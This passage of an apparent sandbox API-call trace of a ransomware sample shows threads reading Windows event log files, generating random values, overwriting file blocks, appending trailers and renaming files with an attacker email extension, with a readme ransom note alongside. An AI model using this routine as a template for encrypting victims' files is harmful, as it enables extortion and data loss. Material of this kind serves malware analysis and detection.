lpNewFilePointer=0x0) returned 1 [0167.279] WriteFile (in: hFile=0x528, lpBuffer=0x2f96520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaaefd24, lpOverlapped=0x0 | out: lpBuffer=0x2f96520*, lpNumberOfBytesWritten=0xaaefd24*=0x20, lpOverlapped=0x0) returned 1 [0167.279] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96520) returned 1 [0167.279] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.279] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xaaefd38, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xaaefd38*=0x8, lpOverlapped=0x0) returned 1 [0167.280] WriteFile (in: hFile=0x528, lpBuffer=0xaaefd50*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaaefd38, lpOverlapped=0x0 | out: lpBuffer=0xaaefd50*, lpNumberOfBytesWritten=0xaaefd38*=0x4, lpOverlapped=0x0) returned 1 [0167.280] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaaefd38, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xaaefd38*=0x4, lpOverlapped=0x0) returned 1 [0167.280] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xaaefd38, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xaaefd38*=0x6c, lpOverlapped=0x0) returned 1 [0167.280] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaaefd38, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xaaefd38*=0x20, lpOverlapped=0x0) returned 1 [0167.280] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaaefd38, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xaaefd38*=0x4, lpOverlapped=0x0) returned 1 [0167.280] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.280] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.280] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.280] CloseHandle (hObject=0x528) returned 1 [0167.280] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12a) returned 0x2f70d80 [0167.280] wcscpy (in: _Dest=0x2f70d80, _Source="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731" [0167.280] wcscat (in: _Dest=0x2f70d80, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.280] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.281] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.282] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70d80) returned 1 [0167.282] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.282] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3a08 [0167.282] wcscpy (in: _Dest=0x2fe3a08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.282] wcscat (in: _Dest=0x2fe3a08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.282] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.282] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3a08) returned 1 [0167.282] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4580) returned 1 [0167.282] RtlExitUserThread (Status=0x1) Thread: id = 1655 os_tid = 0xae8 [0167.287] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.287] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.287] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.287] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xab6fd88 | out: lpFileSize=0xab6fd88*=69824) returned 1 [0167.287] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.287] ReadFile (in: hFile=0x528, lpBuffer=0xab6fd5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xab6fd58, lpOverlapped=0x0 | out: lpBuffer=0xab6fd5c*, lpNumberOfBytesRead=0xab6fd58*=0x4, lpOverlapped=0x0) returned 1 [0167.288] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.288] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.288] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.288] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964d0 [0167.288] NtQuerySystemTime (in: CurrentTime=0xab6fd34 | out: CurrentTime=0xab6fd34*=132121213246104589) returned 0x0 [0167.288] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xefe3b0c9 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xa56a03aa [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xe4510b8f [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xc0fbc6e7 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x77b70e9c [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x62ff3a69 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xb0fd432f [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x1fc026e [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xf7ffe6f0 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x29bf445d [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xf9eeca9b [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x1509f043 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xa238d945 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x44c2dcbe [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x88700c1b [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x75d014ce [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xc3c2905a [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x99261422 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x446f992d [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x739985cf [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x18d946eb [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xae6231d [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xbb216855 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x55e901b4 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x3804773f [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x7cf73a35 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xe52c2d6a [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x63c43566 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0xb806818d [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x883a2174 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x307d1991 [0167.289] RtlRandom (in: Seed=0xab6fd40 | out: Seed=0xab6fd40) returned 0x63806330 [0167.298] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.299] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.299] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.300] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.300] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.300] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.300] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.300] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xab6fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xab6fd0c*=0x4096, lpOverlapped=0x0) returned 1 [0167.301] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.301] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.301] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.301] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0167.301] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0167.301] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.301] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96520 [0167.301] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964f8 [0167.301] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964f8) returned 1 [0167.301] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.301] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.301] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xab6fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xab6fd0c*=0x4096, lpOverlapped=0x0) returned 1 [0167.302] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.302] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.302] WriteFile (in: hFile=0x528, lpBuffer=0x2f96520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xab6fd44, lpOverlapped=0x0 | out: lpBuffer=0x2f96520*, lpNumberOfBytesWritten=0xab6fd44*=0x20, lpOverlapped=0x0) returned 1 [0167.302] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96520) returned 1 [0167.302] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.302] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xab6fd58, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xab6fd58*=0x8, lpOverlapped=0x0) returned 1 [0167.302] WriteFile (in: hFile=0x528, lpBuffer=0xab6fd70*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xab6fd58, lpOverlapped=0x0 | out: lpBuffer=0xab6fd70*, lpNumberOfBytesWritten=0xab6fd58*=0x4, lpOverlapped=0x0) returned 1 [0167.302] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xab6fd58, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xab6fd58*=0x4, lpOverlapped=0x0) returned 1 [0167.302] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xab6fd58, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xab6fd58*=0x6c, lpOverlapped=0x0) returned 1 [0167.303] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xab6fd58, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xab6fd58*=0x20, lpOverlapped=0x0) returned 1 [0167.303] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xab6fd58, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xab6fd58*=0x4, lpOverlapped=0x0) returned 1 [0167.303] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.303] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.303] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.303] CloseHandle (hObject=0x528) returned 1 [0167.303] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf2) returned 0x2f84818 [0167.303] wcscpy (in: _Dest=0x2f84818, _Source="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.303] wcscat (in: _Dest=0x2f84818, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.303] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.304] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.305] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84818) returned 1 [0167.305] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.305] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3a08 [0167.305] wcscpy (in: _Dest=0x2fe3a08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.305] wcscat (in: _Dest=0x2fe3a08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.305] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.305] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3a08) returned 1 [0167.305] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83f20) returned 1 [0167.305] RtlExitUserThread (Status=0x1) Thread: id = 1656 os_tid = 0xac0 [0167.312] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.312] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.312] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.313] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xabef918 | out: lpFileSize=0xabef918*=69824) returned 1 [0167.313] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.313] ReadFile (in: hFile=0x528, lpBuffer=0xabef8ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xabef8e8, lpOverlapped=0x0 | out: lpBuffer=0xabef8ec*, lpNumberOfBytesRead=0xabef8e8*=0x4, lpOverlapped=0x0) returned 1 [0167.314] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.314] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.314] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.314] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964f8 [0167.314] NtQuerySystemTime (in: CurrentTime=0xabef8c4 | out: CurrentTime=0xabef8c4*=132121213246261367) returned 0x0 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x8f4a735 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x953b1df1 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0xb2058b18 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0xd10a1649 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x5948f6d7 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0xa7db193f [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x14b8ea70 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x951f4ac7 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0xe43e24fb [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x6eb2745f [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0xf2726af1 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x8ad2ef7c [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x5e0d91b8 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x63ad17ce [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x4dd9fc2f [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x7414455a [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x4f0611cf [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x859c8155 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x5b920f07 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0xa252663c [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x5b9c9836 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0xfbfb0e0b [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0xc0dc6123 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0xc8beeb15 [0167.314] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x4bf5c9d7 [0167.315] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0xb008cf7 [0167.315] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x88fe81c [0167.315] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x20b8e290 [0167.315] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x3c2368e8 [0167.315] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x23a5279d [0167.315] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x3fa6b7db [0167.315] RtlRandom (in: Seed=0xabef8d0 | out: Seed=0xabef8d0) returned 0x7603424d [0167.323] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.325] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.325] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.325] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.325] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xabef89c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xabef89c*=0x4096, lpOverlapped=0x0) returned 1 [0167.326] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.326] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.326] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.326] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0167.326] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0167.326] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.327] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96520 [0167.327] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96548 [0167.327] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96548) returned 1 [0167.327] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.327] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.327] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xabef89c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xabef89c*=0x4096, lpOverlapped=0x0) returned 1 [0167.327] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.327] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.327] WriteFile (in: hFile=0x528, lpBuffer=0x2f96520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xabef8d4, lpOverlapped=0x0 | out: lpBuffer=0x2f96520*, lpNumberOfBytesWritten=0xabef8d4*=0x20, lpOverlapped=0x0) returned 1 [0167.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96520) returned 1 [0167.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.328] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, 